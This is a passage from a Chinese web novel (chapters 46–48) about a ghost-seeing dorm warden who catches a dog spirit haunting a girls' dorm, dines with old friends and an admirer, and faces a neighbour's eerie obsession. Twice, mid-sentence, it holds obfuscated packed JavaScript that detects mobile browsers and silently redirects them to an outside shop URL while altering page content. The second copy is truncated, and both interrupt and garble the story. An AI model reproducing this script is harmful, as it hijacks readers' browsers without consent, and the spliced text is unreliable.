电梯一开,钟建迫不及待走向1501,“砰砰砰”敲响大门。 “你好,外卖到了。” 大概30秒左右,门开了,里头是一个看上去十八九岁的男孩,看样子正在打电话。钟建把外卖递给他,说了句“祝您用餐愉快”便跑向刚刚用包隔开没下去的电梯。 “哥,我已经找到住的地方了,三室的,你要是还没找到房子就来我这,离你学校不远。” “你真来桐岭了?” “对啊,我已经考完试了,暑假两个月我都在这,来看看你。” “来看我?” 吴昭戈察觉到对方的意有所指,犟嘴道:“当然是来看你,还有姐。” 那头不语,只一味地笑。 本以为随手就能关上的门,关到一半时感觉受到了阻力,吴昭戈狐疑扭头,楼道的感应灯已经熄灭,通过室内的灯光,半合上的门边,赫然是几根手指,吴昭戈吓得叫了一声。 “卧槽!谁啊!” “怎么了小七?” “小伙子,别激动别激动,是我。” 门打开后,外面站着一位老太太,眉正中心有一颗肉色突出的肉瘤,像菩萨眉间的白毫相。 吴昭戈有印象,是对门的老奶奶。前天刚搬进来时,他们见过。 “你有什么事吗?”吴昭戈惊魂未定地问。 只见老太太扬了扬端在手里的碗,说:“你是不是没吃饭?要不要尝尝奶奶的手艺。” “不用,我点外卖了。”吴昭戈举了举自己手里的外卖盒。 “老吃外卖怎么行,你这个年纪正是长身体的时候,来,吃奶奶给你做的,别客气,以后别点外卖,就去奶奶家吃。”说完也不管吴昭戈接不接受,把碗放到玄关,又慈祥拍了拍他的肩膀,说了句意味不明的话,“都这么高了,真好。” “奶奶,我真的...”吴昭戈还想拒绝的话在老太太慈祥的眼神下咽了下去,“行吧,谢谢奶奶。” “不客气,吃完碗放着就行,我等会洗,我下去遛个弯儿。” “好。” 吴昭戈关上门,看了看玄关那一大碗饭菜,又看了看刚点的巨无霸汉堡,问:“哥,你吃饭了吗?没吃来我这吃吧。” “不了,我和宁宁刚在食堂吃过了。” 吴昭戈长叹了口气。 “叮” 电梯到了一楼,钟建风风火火骑上电瓶车正要走时,发现旁边花坛有几个物业模样的人拿着铁锹在挖什么东西,他好奇骑过去冲旁边的人随口问:“怎么了?” “不知道谁家猫死了,埋么又不埋深一点,在花坛里臭了好几天了。” 三个物业几铲子就把浑身布满脏泥散发恶臭的白猫挖了出来,另一个戴着手套,口罩的物业连忙上前,头尽量往后仰着。 钟建嫌恶心匆匆骑车离开。 “咚” 死猫被扔进垃圾桶,脖间的铃铛发出叮铃一声响。 这还是钟建第一次送这个小区,他看到好多穿校服的学生,骑出大门后往保安亭上方看了一眼。 盛辉小区。 “那不是前阵子女儿杀了妈的小区吗?” 骑出好一段路的钟建突然想起来。 * “诶诶诶,你听说了吗?C栋女生宿舍闹鬼!” “真的假的?” “真的!好多人都证实了。” “那这不得找...?” “肯定啊,听说今晚举行驱魔仪式!” “我得去群里求一个直播!还没真的见过。” 中午拾冬从食堂吃完饭回宿舍路上,遇到四五个女生,她们说她们那一层晚上有怪声。 “前两天晚上,我迷迷糊糊听到外面有叮叮当当的声音,我以为是谁戴首饰出门打水,可是声音持续了十来分钟,我实在受不了出去看,结果外面根本没人。” “是啊,我昨晚也听到了,我们那栋楼很多人都听到了。” “姐姐,你一定要帮帮我们,马上考试周了,我们现在吓得书都看不进了,我不想挂科。” 拾冬从吴村回来就没开过张,当下敲定价格和时间,收了定金后,派红绿两头先去探探虚实,两鬼回来后,说什么都没看到。 “要不晚上再去看看?” 拾冬所在宿舍是A栋,离C栋步行大概十分钟,距离不算远,不过C栋的宿管是所有宿管的小领导,官威大得很,经常在宿管小群里敲打拾冬,说学校是学习的地方,每个宿管要履行好自己的职责,不要搞歪门邪道,也不要和学生拉拉扯扯。 拾冬平时懒得搭理,这下业务到了她那,果不其然,临近傍晚时分,拾冬收到了C栋宿管的私聊信息。 “学生的话不要听风就是雨,成年人要有自己的判断。C栋是我在管,你别什么都往自己身上揽。” 管霞在明泉大学做宿管五六年了,她是从小学退下来的语文老师,退休后闲不住便找了这份工作,多年的工作经验让她很快上手,由于管得严,查寝时间一到,宿舍的每个学生除非有假条无一缺勤,而那些迟到在门口企图撒娇蒙混过关的女学生,她毫不手软,全部上报。 谁住C栋谁倒霉。 学生虽然颇有微词,但也无可奈何。 直到前不久学校来了个新宿管。 又是在学校搞封建迷信又是传和学生谈恋爱,搞得学校乌烟瘴气,管霞和校领导反馈了好几次,但每次都不了了之。 “年纪轻轻不学好,一点女孩子教养都没有,她要是我学生,我非得好好管教她!”管霞一边收拾楼道卫生一边跟旁边一起工作的同事正色道。 “...啊..”同事含糊其辞往大垃圾桶上套垃圾袋。 C栋前几天晚上有铃铛响这事,管霞早就听说了,但她值了几个夜班也没听到什么铃铛声,推测是哪个学生搞的恶作剧,虽然她在学生群里命令禁止学生不要聚众散播谣言,但由于平时人缘不好,没几个人回复她。 她知道学生免不了要去找A栋宿管,于是先表明自己立场。 信息刚发出去没几分钟,收到了对方回复。 哦 管霞气得用力锤了一下桌子。 拾冬回复完管霞,坐在寝室楼下花坛旁纳凉,再过一周,学校考完试就放暑假了。 即使中介还在孜孜不倦试图说服拾冬买凶宅,说不买房子可以买那个商铺,但拾冬除了发两个字“退钱”,别的均不回复。 她已经不需要买房了,从吴村回来后,拾冬打电话问他房子到期他搬哪里去住了,结果他说老李头的儿子还是决定把铺子租给他。 “为什么?他不是不肯续租了吗?” “我思来想去,搬家太麻烦了,我就找刘友让他假扮老李头去吓那孙子。” “你为什么不早说!” 孟永被她气急败坏的口气吓到,也暴脾气回复:“我跟你说得着吗?” “......” 为自己前途未卜的五万块默哀。 不过好歹事情解决,心里也轻松了一些,只是.. 拾冬晃了晃腕间的镯子,她依旧不知道这东西的来历。 那天大虎送完东西就走了,可这几天,拾冬却频繁想一些以前没意识到的事情。 自己从哪来,父母是谁,为什么自己能看到那些东西? 还有就是,她的血。 吴村事情结束后,吴昭戈在微信上问了她好几次,为什么她的血能击退恶鬼。 “你是不是神仙转世?” 拾冬懒得回复他的无厘头,如今,她却开始在意了。 这就好比脸上一颗以前不在意的痣,某天突然觉得碍眼了,于是之后每次照镜子,都会不受控制地注意到它。 也许该找人问问了。 “诶…” 侧脸被冰得一激灵,拾冬扭头看到拿着奶茶的郁之,擦了擦脸上残余的水渍从花坛旁站起身,问:“你怎么来了?” 郁之插上吸管将奶茶递给她:“我不能来吗?” 这会儿正是人来人往最多的时候,过往人探究的视线像缠在身上扯不掉的蜘蛛网,让拾冬极其不适。 “不喝,回吧。” 说完便往寝室楼里走,郁之大步上前拦住,“师姐最近为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801911|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么躲着我?” 拾冬木着脸回答:“没有。” “是他们说的那些话吗?” 从吴村回来那天,两人一起回的学校,念在她的手还没好,郁之坚持帮她提行李到寝室楼下,正巧被八卦的学生看到,学校本来就在传他们在一起的谣言,这下更像是坐实了。 拾冬不想处理流言蜚语,干脆切断两人的联系。 “嗯。” 不想过多解释,索性顺着他的话含糊点头,不料对方不依不饶。 “那些人天天没事干,看到两个男的都觉得不对劲,师姐你别理他们就行了。” “是不用理他们,但我们也确实不用天天见面。”拾冬绕过他刷开寝室大门。 “可是我想。” 门拉到一半,拾冬回头看向郁之,他的眼神不闪不避,接得坦荡,两人视线交汇了数秒,拾冬冷静一笑:“你不必想。” 说完头也不回关门离开。 郁之在门口看着她的背影消失在门内,喝了一口手里的奶茶,笑得无奈又宽容, 我偏要想。 看热闹的红绿两头扒在门口意犹未尽,见郁之离开后,头头是道开始分析。 “那人喜欢老大。” “早看出来了。” “老大喜欢他吗?” “老大喜欢钱。” 绿头大拇指一竖:“精辟。” “其实我觉得他和老大挺配的,对老大也不错。” 绿头颇为认同,扭头看了一眼正在玩手机的拾冬,很快又加上一句:“不过如果这个好老大不需要,那就不是好。” 这下轮到红头竖起大拇指:“精辟。” “我们不蛐蛐老大了,走,我们先去吃点夜宵,再去C栋抓鬼。” “好,把言言叫上。” “不行,你忘了刘姐不让我们带言言去吃血呼啦差的东西。” “…差点忘了。” 十分有牛马精神的红绿两头走后,耳边终于清静了,拾冬放下手机,余光瞥到桌上堆着的零食。 都是来自学生们时不时的投喂。 拾冬在一堆薯片饼干中拿了罐无糖薄荷糖,往嘴里扔了两粒,咬开之后满嘴薄荷香,她靠着椅背眼神放空,不知在想什么,直到听到敲门声,她回过神,看到门外站着一个女孩。 皮肤白,偏瘦,圆脸,黑框眼镜,头发用鲨鱼夹夹起,对自己说:“姐姐,你今晚会去C栋抓鬼吗?” “怎么了?” “...”女孩看上去有些紧张,又怕被来往的人听到,步子往前办公室里走了几步,请求道:“如果真的能抓到,可不可以别伤害他?” * 熄灯了。 但C栋宿舍几乎无人入睡,各个缩在门边听外面的动静,时不时在群里报告情况。 “二楼没动静。” “三楼也没有。” “四楼的我都快等睡着了。” “我刚出去打水了,没听到铃声啊。对了,我在五楼。” “五楼的妹子你也太勇了,来自六楼的肯定。” “对了,话说,宿管到底怎么抓鬼啊,她不是在A栋值班吗?” 当然是用外挂咯。 红绿两头在楼道里百无聊赖飘着,这寝室进那寝室出,每层都看了一圈,一无所获。 “你说真的有吗?” “不知道,总之待到天亮。”绿头掏出一个手掌,利落撕开,把三根手指的那半递给红头,“来,吃个零食补补。” 红头接过,咬下小指,没什么肉,她嗦了两下随口吐在地上,往前走了一百米,意识到不能乱吐垃圾,便折返回去捡。 “嗯?骨头呢?”红头盯着干净地面疑惑反问,“是吐在这的啊。” “怎么了?”绿头见红头没跟上,回头问。 “我刚..” “叮...叮...叮...” 那东西来了。 红绿两头周身涌起滚滚黑气,望向声音来源处。 “我听到铃铛声了!在三楼!” “四楼也听到了,那铃声好像在跑!逃命似的。” “到五楼了!我还听到了咚咚咚的脚步声,我开了条缝偷看,走廊外什么都没有!” “来二楼了!” “他是怎么从五楼瞬移到二楼的?真的是鬼吗?!” “我听着怎么感觉是一个在前面跑一个在后面追。” 不是一个追,是两个追。 红头向对面的绿头打手势,绿头回了一个OK,两鬼眼睛不约而同看向走廊的大垃圾桶。 眼看着垃圾桶越来越近,绿头缓缓伸出手, 一 二 三 “快抓!” 两鬼齐刷刷扑向大垃圾桶,垃圾桶倒地在安静走廊发出声响,门内所有没睡的女生们大气不敢出一声,竖起耳朵听外面动静。 “我去,这垃圾桶好臭啊!你抓到了吗?” “抓到了,只是...” 绿头把手里的鬼举了起来,鬼委屈巴巴望着一脸懵的红头, “啊?” “嗷呜。” 47. 第 47 章 寝室门一开,乔琪便迫不及待冲向A栋宿舍,夏天天亮的早,这会儿学校已经有人迎着朝阳晨跑锻炼,平时十分钟的路程,今天不到五分钟就到了。 宿管已经在门口了,她忙跑上前,“真的抓到了吗?” 拾冬点头,红绿两头正在吃供品,言言蹲在一个笼子旁,手指小心翼翼伸进去,又马上害怕地缩回来。 “是人吗?”见拾冬摇头,乔琪立马兴奋问道,“是不是一只白色的,脖子有铃铛,眼睛是蓝色的猫?” 拾冬瞥了一眼笼子里的东西,不知该怎么回答。 “不是吗?”乔琪沉下肩,但很快又振奋起来,“难道是只黑色的,它虽然黑,但是它有白手套,很好认的。” 拾冬又看了一眼笼子,和里面黑不拉几的东西对视了一眼,有些无语开口:“它确实是黑色。” “豆子,是我的豆子,它在这吗?”乔琪眼泪涌了出来,沉浸在自己的悲伤里,直到听到宿管下半句, “但它是只狗。” “汪汪汪。” 被当成猫的黑狗十分配合叫了起来。 “什么..”乔琪眼泪还在流,一脸意外,“怎么会..怎么会是狗..” 自从寝室楼里出现铃铛声,乔琪就坚信一定是豆芽。 它一定很恨我。 乔琪每晚听到铃声都会出去看,想看看是不是豆芽,想让豆芽知道自己就在这里。 “如果想报仇,就来吧。” 乔琪得知学生们打算抓鬼时,她便找到了宿管,央求能不能在抓到后让自己看一眼。 没想到,竟然不是。 红绿两头吃饱喝足望着乔琪离去的背影,问:“那这狗怎么办?” “狗肉火锅!” “好主意!” 红绿两头一拍即合。 拾冬低头看了眼笼子里弓起背,挣扎着想向自己求救的潦草黑狗,困倦答道:“随便你们吧。” 说完无视黑狗撕心裂肺的求救声回去补眠。 好不容易有个宠物的言言挡在笼子前,坚定拒绝了红绿两头狗肉火锅的建议。 “咋办,要不养着吧,现在也不缺这顿火锅。” “行,不过得先带它去洗个澡。” 拾冬补了一觉,刚出寝室门,一只狗便冲了过来,兴奋围在自己脚边蹭来蹭去,一副十分熟稔的模样。 “老大,珍珠好像很喜欢你。” “你们要养?” “是啊,言言喜欢,珍珠也是言言取的。” “哦。” 拾冬用脚扒拉开珍珠,刚进办公室,桌上已经放着一份午饭了。 “谢谢刘姐。”睡一觉起来的拾冬正好饿了。 “不是我,是郁之拿过来的。” 拆筷子的手一顿,拾冬无视刘姐揶揄的眼神,面不改色埋头吃饭,珍珠趴在门口一动不动望着拾冬。 一直到吃完饭,郁之也没有收她的微信转账,拾冬收拾干净空盒子,随手扔了两颗薄荷糖清口,一边想,这样的相处方式真别扭。 这时,有人敲了敲办公室的门。 是穿着短袖热裤的吴昭宁。 “怎么了?”拾冬有些奇怪她怎么会来。 “姐姐,你晚上有空吗?我们想请你吃饭。” ? “为什么?” “我哥,吴昭州,他已经回学校了,身体也恢复得差不多了,是他托我问问你。” “还有谁?” “我,我哥,还有我弟。” “你弟也来了?” 自从回来后,吴昭戈三天两头给她发信息,净说一些没营养的废话。 “对,他放暑假了,来找我们玩。” 拾冬想了想,毕竟是小时候的朋友,总是拒绝也不好,于是点头答应,“好。” 吴昭宁走后,刘姐看了看桌上的日历,问拾冬暑假怎么安排。 “什么怎么安排?”拾冬不以为意问道。 “你有地方住吗?学校暑假不让住。” “为什么,不是说要留宿管值班吗?” 刘姐见拾冬这副理所当然的模样无奈笑了声,“轮不到你。” 拾冬蹙眉,面露不解。 “暑假值班,学校会发补贴,平时都是管霞安排值班的事,你经常在群里呛她,她能把这好事交给你?都是给B栋那两个平时爱拍马屁的。” 拾冬没想到有这一出,果然人手里只要有点权利,就能压人一头。 “那也行。”拾冬很快想开,她能去孟永那暂住,顺便跟着他赚外快。 “不行。”没想到孟永一口回绝了。 “??为什么?我又不是不给钱?!”原以为百分百会答应的拾冬一脸震惊。 “男女有别,你一个大姑娘住我这不方便。” “有什么不方便,我之前不也住了吗?” 老古董孟永铁了心,不管拾冬怎么说,都不答应,被说烦了直接挂了电话。 拾冬听着电话里的“嘟嘟嘟”声,沮丧笑了声,睡在脚边的珍珠像是感受到了她的情绪,“呜呜呜”地蹭她。 因为孟永的拒绝,低落的心情一直持续到晚上。 珍珠好像真的很喜欢拾冬,无视言言的挽留一路跟着她到了约定的吃饭地点。 地址选的是湖边露台餐厅,吴昭州特地提前两天定了能看到湖的位置。 拾冬刚走近,就看到了吴昭州兄弟三人以及正在逗隔壁桌带来的博美的郁之。 步子下意识想往回走,可一想到她和郁之又不是情侣闹别扭,没必要把场面搞暧昧,便坦然走了过去。 “师姐,你来了。”郁之一抬头便看到拾冬,十分自然打起了招呼,看菜单的三人闻言不约而同抬起了头。 “喂,你为什么不回我信息,我不是说我来桐岭了吗?”吴昭戈本想好好打个招呼,但一看到她舌头脑袋都跟着打结,说出来的话词不达意。 吴昭州&吴昭宁:“......” “姐姐,你来了,来,座。”吴昭宁在桌下用膝盖碰了碰口无遮拦的吴昭戈,只当是自家弟弟少爷毛病又犯了,她指了指自己旁边的位置,见拾冬落座后,把菜单递过来,“你看看想吃什么?” “我随便,你们点吧。”拾冬对于食物一直是能吃就行的标准。 “那我来点吧。”吴昭州拿过菜单,扫桌角的二维码开始手机点单,“你们有什么忌口吗?” 郁之自然接过话头:“师姐不吃秋葵,山药一些黏质口感的事物,也不吃羊肉,内脏,对了她花生过敏。” “你怎么知道?”比拾冬先一步说话的是吃味的吴昭戈。 “我们经常一起吃饭。”郁之递过商家刚刚给的驱蚊水,“师姐喷一点,湖边蚊子多。” 坐下还没五分钟已经感到有蚊子在脚边蓄势待发的拾冬迟疑数秒,还是接过了驱蚊水。 吴昭戈见他们如此熟稔的接触,心下黯然,又不死心,试探发问:“你们不会在谈恋爱吧?” “没有。”拾冬简短否认。 吴昭戈刚还忧郁的神情顿时明朗,喝了一口苏打水,十分欣慰点头:“我猜也是。” 吴昭州一边点单一边在心里吐槽,天真的弟弟,你猜郁之为什么会不请自来,难道真的是为了吃这顿饭吗? 那么大一个情敌摆在你面前,你还搁这儿猜呢。 等菜上来的空隙里,大部分都是吴昭戈在活跃气氛,一会儿问等会吃完饭去哪玩,一会儿问吴昭宁什么时候放暑假,说在场几个人可以一起去玩,看样子是一点都没受吴家丑闻影响。 不过吴氏集团或许命不该绝,在紧急公关下,以质量过硬的产品和多年积累下来的好口碑,目前的市场风评正在逐渐好转,拾冬上次偶然看到新闻,吴天成引咎辞职,现在董事长已经换成吴天武了。 大概这就是瘦死的骆驼比马大吧。 吴家这些孩子依旧可以恣意潇洒活着。 “对了,哥,你真的不出国留学了吗?” “不去了,导师给我介绍了一份工作,待遇也挺不错的。” 吴昭州是领养的这件事吴家上下都知道了,吴靖贤和安逸两人装了十几年也懒得装了,对于他的去留漠不关心。出国留学要花很多钱,而他现在就像过气的小丑演员,无奈又悲凉望着两人走远,他没有勇气挽留。 不过,庆幸已经长大,有能力养活自己。 吴昭州不知想到什么,看了一眼坐在对面的拾冬。 简单的白T短裤,脸上不施粉黛,清得像杯白开水,和满身名牌的吴昭宁浑然不同。 玩手机的拾冬佯装看不到吴昭州打量自己的视线,眼睛朝下找珍珠,发现珍珠围在吴昭州脚边摇着尾巴一副见到老熟人的模样。 这狗怎么回事。 拾冬满不在乎收回视线。 菜陆陆续续上来,吴昭州还点了红酒,大家边吃边聊气氛恰到好处,不过细心的吴昭宁发现郁之和拾冬之间流动着一股微妙的僵硬,无论是在刚刚他们碰杯时,拾冬刻意回避郁之的杯子还是她把碗里的食物都吃完了,唯独剩下郁之给剥的虾,这无一不昭示着他们在冷战。 学校确实有不少郁之和拾冬的传闻,但谁也没个铁证说两人就是在一起了。 可是他们时不时一起在食堂吃饭,晚上被八卦同学看到在校园散步,这怎么看,都是有点苗头吧。 好想知道这到底是个什么情况。 恋爱经验为0的吴昭宁借喝酒仰头看拾冬,看着她把剩下的虾扔给了前来讨食的博美。 啊? 这对吗? 吴昭宁余光瞥了一眼郁之,发现他脸色并无异样。 忘了珍珠吃不了。 扔完虾发现被博美抢了的拾冬这才反应过来珍珠作为“死狗”吃不到。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807971|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她踢了踢冲博美汪汪大叫急得团团转又吃不到的珍珠,笑了几秒后意识到这虾好像是郁之给剥的。 淡淡的别扭感又涌了上来,她喝光杯里的红酒。 吃得快差不多的时候,吴昭戈和吴昭宁姐弟俩去上厕所,吴昭州趁此机会拿着酒杯挪了过来,他有些喝醉了,脸上透着酒精上脸的淡粉色,他用手里的酒杯碰了碰拾冬手边的杯子,玻璃杯发出好听的脆响,“阿冬,你过得好吗?” 拾冬觉得这话有点耳熟。 为什么久别重逢的人都热衷于问她好不好,好不好的标准又是什么? “你想得到一个什么样的答案?”拾冬淡淡问他。 酒精阻碍了思考,吴昭州有些没明白她话里的意思,但很快他找回自己的表达,望着拾冬迷离眼神里又带着小时候的稚气,郑重回答:“如果你过得不好,我会很难过,云黛应该也会很难过。” 珍珠在这时应景叫了一声,仿佛能听懂似的。 拾冬笑了一声,却又不知因何而笑。 “过得不错,不用操心了。” 天空呈现日落后独有的靛蓝,四周陆续亮起了灯光,光线流淌在远处的湖面,晃晃悠悠地闪。 模糊不清的的蓝,模糊不清的人。 “那就好。”吴昭州点了点头,话锋一转问,“阿冬,你要一直在这做宿管吗?” “怎么了?” “我觉得你可以自考一个本科,你如果想考研,我也可以辅导你,你相信我,我一定会让你变好的。” 吴昭州的话让拾冬猝不及防,话题是怎么从朋友重逢变到指导学习的? “那是你认为的好,不要用你认为的东西加到我身上。”拾冬回想起刚刚吴昭州打量自己的视线,大概从那时开始,他就在计划讲这个吧。 曾经的朋友变成学校的宿管,没学历没好的工作,而自己研究生毕业,虽然没能出国留学,但也找到了一份不错的高薪职业,于是同情心泛滥,企图把“误入歧途”的朋友拉回和他一样的正道。 “阿冬,我是为了你好。”吴昭州在吴家当了太久的大哥,似乎都忘了,他其实比拾冬要小。 “谢谢你的好意。” 拾冬刚说完吴昭戈等人就回来了,她起身对吴昭宁说:“你哥有点喝多了,差不多也该回去了吧。” “哦,好。” “要不再去哪里玩一下吧。”不想这么快结束的吴昭戈兴致勃勃提议道。 “我不去了,我还要回学校。” “你那个班真麻烦啊。”吴昭戈不满抗议。 拾冬不置一词。 “要不下次再聚吧,我也要回去复习,考试周了。”吴昭宁打圆场。 “…行吧。” 一行人离席,出店门时,郁之说他已经叫了两辆车,有一辆已经到了。 “谁先走啊?”吴昭戈潜意识想跟拾冬一起。 “你们一家人先走吧。”郁之一句话把五人切割成两个阵营。 “也好,小七,我们先走吧。”吴昭州虽说喝了酒,但也不至于醉到不会察言观色,他打开车门先让不情不愿的吴昭戈上去,临上车前看了一眼拾冬,她神情自若,看上去很平静。 那些话应该没让她不高兴。 “阿冬,我们先走了。” “喂,你到了给我发条信息。” 拾冬笼统点头,不知是在回应谁。 车子很快开远。 “你自己回吧。”拾冬计划坐公交。 “那辆车不来了,我陪师姐一起坐公交吧。” 拾冬看了一眼郁之,不想说话,自顾自朝公交车站走去,不远处老大爷在做棉花糖,平时闻一口都觉得腻的甜味,这会儿竟然有点想吃。 她摸到口袋里的薄荷糖,有些急迫地咬了两粒,努力克制此时心里涌出来的烦躁。 今天无论是孟永拒绝她暑假借住的请求,还是姜州望向自己时,近乎怜悯的眼神。 这些都让拾冬觉得,自己就像一条落魄的狗,有人把自己赶出去,也有人因为可怜而想伸出援手。 难道我在你们眼里是什么很糟糕的人吗? 真是烦透了。 拾冬又吃了两颗糖。 “师姐…快来看。” 拾冬回头,发现郁之蹲在人行横道,脸冲着花丛一边朝自己招手。 “什么?” 郁之拉着拾冬蹲下,指了指草丛:“你看,有只萤火虫在那。” 拾冬顺着郁之的指尖方向看去,找了将近一分钟才发现闪着微弱荧光的昆虫。 “亏你看得见,眼神不错。”拾冬看着萤火虫在草丛里爬来爬去,它的光被城市的盛大灯光轻易覆盖了。 “是啊,我能看见,所以你在我眼里也会发光。” 拾冬盯着萤火虫没有接话。 怎么感觉多出一只。 她狼狈地想。 48. 第 48 章 吴昭州经不住吴昭戈的盛情邀约,两人一起在盛辉小区下了车。 “宁宁,你到了给我发条信息。”下车前吴昭州叮嘱吴昭宁。 吴昭宁点了点头,对喝酒脸色通红的兄弟俩说:“你们等会儿买瓶酸奶解解酒。” 吴昭戈回了一个OK的手势,几人又聊了两三句,车子开走。 吴昭州用手机拍下车牌,吴昭戈见状调侃道:“这么心细,以后我嫂子有福了。” “别说些莫须有的东西。” 两人笑闹着在小区门口买了几瓶酸奶后很快进了楼道电梯。 “哥,你什么时候去公司上班?”吴昭戈按下15楼,电梯门缓缓合上。 “月底报道。”吴昭州点开拾冬的微信想问问他们到学校了没有。 “那不是很快了。”吴昭戈瞥了一眼吴昭州的手机界面,看到拾冬的头像后,问,“你在给那个女人发信息啊?” 吴昭州一边笑一边打字:“你说话很没有礼貌,这样怎么追阿冬?” 吴昭戈梗着脖子“哼”了一声,又不知该说什么补救,于是眼睛转了几圈,看到了贴在电梯里的广告。 “你是否也因为过去的失去而烦恼,痛苦。 过去是你的勋章,不忘记也没关系。 跟我们一起,缅怀过去,相信过去。” 什么乱七八糟的。 现在的人真是闲的。 吴昭戈满不在意别开视线,他拆了一瓶酸奶吸了两口,回想起晚上的饭局,虽然他极力抛出话题,但每每到拾冬那,对方看着都没有什么回应的欲望,如同,他在微信上发出的绿色气泡一般,刚发出去就碎了。 哎 吴昭戈长长叹了口气。 “叮” “叹什么气,早跟你说了阿冬不好追。” 两人一起走出电梯,刚出电梯就看到自己门把手上挂着一个塑料袋,吴昭戈回头看了一眼对门,把东西取下来,把门打开。 “这什么?你点外卖了吗?”吴昭州一边换鞋子指了指吴昭戈手里的东西。 吴昭戈不语,把门关上后看也不看把东西扔进垃圾桶。 “哥,我感觉对门的老太太有毛病。”吴昭戈苦恼皱起了眉。 自从那次吃了她的饭后,对门的老太太几乎一日三餐给他送饭,前两次他还感慨老太太人好,可没两天就不对劲了。 吴昭戈爱睡懒觉,可老太太不到七点半就砰砰敲门,让他早起吃早饭,吴昭戈不爱吃茄子,苦瓜,跟老太太提了一次,可下次她还是给煲了苦瓜排骨汤送过来,说天热,要多吃苦瓜下火。 “晚上也是,不到十一点敲我门,要我赶紧睡觉。我真服了,我们就是个邻居,管的也太宽了!”吴昭戈往沙发一摔,把腿架在沙发扶手上,“你信不信,我扔掉的垃圾袋里一定有个苦瓜做的菜。” 吴昭州不信邪走去门边解开塑料袋,饭放太久,已经没有菜香气,只剩油气,果不其然,白米饭上有几片绿色苦瓜。 “而且我都事先跟她讲了我今晚不在家,她还给我送,我是真没招了。”吴昭戈把酸奶喝完扔进垃圾桶。 “老太太也是一片好心,你这样随便扔东西也不太好。”吴昭州走过来教育道。 吴昭戈虽然觉得不好,但他也不是委屈自己的人,“不好就不好吧,我昨天就跟她说了不要给我做饭了,她自己要送。” “她做的菜太清淡了,我还不如吃肯德基。” 吴昭州对少爷小七无奈一笑,他拆了瓶酸奶,拍拍吴昭戈大大咧咧架着的腿,见他收回后,坐在沙发上看手机。 吴昭宁已经到家报平安了,但给拾冬发的,还没得到回复。 吴昭州把手机放回茶几,靠着沙发椅背,开始复盘今晚发生的事。 复盘了两次,猜了她生气了和没生气的两种假设后,吴昭州意识到,自己对她的了解还没有向云黛多。 “哥,那女人在路上还没到学校。”吴昭戈想跟拾冬聊会儿天,便试探性问她到了没,没想到对方很快回复了。 “她回你了?”吴昭州诧异,拿过自己的手机,没有新信息。 “对啊,哥,教教我,接下来跟她说点什么好?”吴昭戈从沙发上坐起来,虚心求问。 看来生气的假设成立了。 吴昭州有些难堪,又有些沮丧。 “哥,你们从小长大,她喜欢什么啊?她那么特殊,我送桃木剑怎么样?” “她喜欢...” “喜欢什么?” “喜欢…” 吴昭州在这刻茅塞顿开。 是啊,他连拾冬喜欢什么都不知道,明明只参与了她一小段人生,为什么在那个时候大言不惭地说要让她变好。 吴昭州你凭什么。 他又一次点开拾冬的对话框。 “快说啊,她喜欢什么?”吴昭戈半天没等到回复又一次催促道。 吴昭州发完信息,看向吴昭戈求知若渴的眼神,义正言辞道:“追女孩子得用心,不能找外挂。” 吴昭戈哀嚎起来。 “不过小七,你真的喜欢阿冬吗?她比你大那么多。” 吴昭戈在对话框里删删减减一边说:“现在都流行姐弟恋。” 吴昭州见弟弟这样无奈一笑,想了想还是劝导:“我还是觉得你找个和你年龄相仿的谈恋爱会好一些,阿冬她...” “哥,感情的事你别管那么多。”吴昭戈打断吴昭州的话,看上去决定撞一撞拾冬这南墙了。 “好吧。”吴昭州手拍在吴昭戈大腿,大有不再管之意,“那祝你成功。” “哥,你有没有郁之的微信,他们不是师姐弟吗,我要不问他取点经?他看着人挺不错的。” 吴昭州望着眼神清澈的弟弟,就在这时,他听到不知哪传来“咚咚咚”的剁肉声,不过住宅区有人做饭也正常,他在越来越急促的敲击声中一时哭笑不得。 “你啊,太迟钝了。” “嗯?” 闪着寒光的砍骨刀夹杂着“咻咻”破风声砍向案板上的排骨,切碎的排骨四分五裂散乱在桌面,老太太面色平静,手起刀落,干净的雪白台面上,不一会儿溅满了星星点点的血迹。 在越来越急促的砍骨声中,老太干瘪的嘴里喃喃自语: “吃..吃...吃..吃!” “哐啷。” 砍骨刀断裂成两半,握着刀柄的手缓缓流出鲜血。 被吵醒的人披着衣服从卧室出来,看着这情形,如鲠在喉。 “他不是小宇,别为难那孩子了。” “吃!” * “吱...吱...吱...” 木质的破旧秋千兀自晃动,链条生锈的吱吱声是此时唯一声音来源。 这是哪里? 四周起了薄雾,模模糊糊看不真切,依稀辨认的出不远处有个滑滑梯。 游乐场? 拾冬暗自思索,顺便走过去抓停了晃动的秋千。 声音消失,寂静无声的场所显得更加诡异。 “阿冬快来!” 谁,谁在叫我。 拾冬正疑惑不敢轻举妄动之时,身后传来细碎脚步声,一晃眼,扎着两个羊角小辫的小女孩从身边欢快跑过,嘴里清脆应着:“来了。” 小女孩跑进薄雾。 拾冬迟疑几秒,眼看小女孩要消失,她跟着跑了过去。 转了一个圈,竟回到起点。 秋千又吱吱吱响了起来。 只不过这次秋千上坐着一个人,身后还有两个小孩在推。 他们背对着自己,玩得不亦乐乎。 “云黛,再推高一点。” “我快推不动啦,州州,你也使劲啊。” “我..也快累死了,阿冬,你下来让我玩一下吧。” “不要,我才刚开始玩,再推高一点。” 两个小孩在身后将秋千越推越高,秋千上女孩的笑声随着秋千的起落忽高忽低。 “我要飞起来啦...” 